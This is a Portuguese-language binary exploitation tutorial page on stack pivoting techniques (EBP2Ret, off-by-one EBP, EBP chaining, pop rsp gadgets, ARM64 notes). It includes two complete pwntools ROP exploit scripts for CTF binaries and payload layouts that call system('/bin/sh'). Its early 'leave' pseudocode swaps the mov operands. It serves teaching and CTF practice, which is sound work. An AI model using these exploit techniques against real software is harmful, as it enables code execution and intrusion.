Stack Pivoting - EBP2Ret - EBP chaining

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Informações Básicas

Esta técnica explora a capacidade de manipular o Base Pointer (EBP) para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções leave; ret.

Como lembrete, leave basicamente significa:

mov       ebp, esp
pop       ebp
ret

And as the EBP está na pilha antes do EIP, é possível controlá-lo controlando a pilha.

EBP2Ret

Esta técnica é particularmente útil quando você pode alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP. Ela aproveita o comportamento das funções quando terminam de executar.

Se, durante a execução de fvuln, você conseguir injetar um EBP falso na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação pop), você pode controlar indiretamente o EIP. Quando fvuln retorna, o ESP é definido para esta localização criada, e a operação pop subsequente diminui o ESP em 4, efetivamente fazendo com que aponte para um endereço armazenado pelo atacante ali. Note como você precisa saber 2 endereços: O onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.

Construção do Exploit

Primeiro, você precisa saber um endereço onde pode escrever dados / endereços arbitrários. O ESP apontará aqui e executará o primeiro ret.

Então, você precisa saber o endereço usado pelo ret que irá executar código arbitrário. Você poderia usar:

• Um endereço válido ONE_GADGET.

• O endereço de system() seguido de 4 bytes de lixo e o endereço de "/bin/sh" (x86 bits).

• O endereço de um gadget jump esp; (ret2esp) seguido do shellcode a ser executado.

• Alguma cadeia ROP.

Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver 4 bytes por causa da parte pop da instrução leave. Seria possível abusar desses 4B para definir um segundo EBP falso e continuar controlando a execução.

Exploit Off-By-One

Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode apenas modificar o byte menos significativo do EBP. Nesse caso, a localização da memória que armazena o endereço para pular com o ret deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas. Geralmente, modifica-se o byte 0x00 para pular o mais longe possível.

Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.

Encadeamento de EBP

Portanto, colocando um endereço controlado na entrada EBP da pilha e um endereço para leave; ret no EIP, é possível mover o ESP para o endereço EBP controlado da pilha.

Agora, o ESP está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um RET. Para abusar disso, é possível colocar no lugar controlado do ESP isto:

• &(próximo EBP falso) -> Carregar o novo EBP por causa do pop ebp da instrução leave

• system() -> Chamado pelo ret

• &(leave;ret) -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente

• &("/bin/sh")-> Parâmetro para system

Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.

Isso é como um ret2lib, mas mais complexo sem benefício aparente, mas pode ser interessante em alguns casos extremos.

Além disso, aqui você tem um exemplo de um desafio que usa essa técnica com um leak de pilha para chamar uma função vencedora. Este é o payload final da página:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP pode não ser usado

Como explicado neste post, se um binário é compilado com algumas otimizações, o EBP nunca consegue controlar o ESP, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real. Isso ocorre porque o prólogo e epílogo mudam se o binário estiver otimizado.

• Não otimizado:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return

• Otimizado:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Outras maneiras de controlar RSP

Gadget pop rsp

Nesta página você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um gadget pop rsp e há um leak da pilha:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Verifique a técnica ret2esp aqui:

Ret2esp / Ret2reg

Referências e Outros Exemplos

• https://bananamafia.dev/post/binary-rop-stackpivot/

• https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting

• https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html

• 64 bits, exploração off by one com uma cadeia rop começando com um ret sled

• https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html

• 64 bits, sem relro, canário, nx e pie. O programa concede um leak para stack ou pie e um WWW de um qword. Primeiro obtenha o leak da stack e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de .fini_array + chamando __libc_csu_fini (mais informações aqui). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a fazendo pivot com RBP.

ARM64

No ARM64, o prólogo e epílogo das funções não armazenam e recuperam o registro SP na pilha. Além disso, a instrução RET não retorna ao endereço apontado pelo SP, mas para o endereço dentro de x30.

Portanto, por padrão, apenas abusando do epílogo você não conseguirá controlar o registro SP sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de controlar o registro x30.

• prólogo

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP aponta para o registro de quadro

• epílogo

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

A maneira de realizar algo semelhante ao stack pivoting no ARM64 seria ser capaz de controlar o SP (controlando algum registro cujo valor é passado para SP ou porque por algum motivo SP está pegando seu endereço da pilha e temos um overflow) e então abusar do epílogo para carregar o registro x30 de um SP controlado e RET para ele.

Além disso, na página seguinte você pode ver o equivalente de Ret2esp no ARM64:

Ret2esp / Ret2reg

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